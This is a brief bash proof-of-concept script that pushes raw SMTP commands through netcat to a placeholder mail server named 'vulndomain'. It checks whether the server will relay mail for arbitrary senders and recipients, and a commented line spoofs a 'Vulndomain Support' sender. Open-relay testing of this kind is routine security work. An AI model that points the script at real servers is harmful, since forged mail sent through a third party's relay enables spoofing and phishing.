Mail Relay POC

mail_relay_poc.sh

#!/bin/bash

read -p "Enter Email Body: " body
read -p "Enter sender mail address: " sender
read -p "Enter reciever mail address: " recipient 
mail_server_ip="vulndomain"
mail_server_port="25"
#recipient="youremail@gmail.com"
#sender="\"Vulndomain Support\"<${sender}>"

nc ${mail_server_ip} ${mail_server_port} << EOF
ehlo vulndomain.com
mail from:${sender}
rcpt to:${recipient}
data
From:${sender}
To:${recipient}
subject: Telnet test
${body}
.
quit
EOF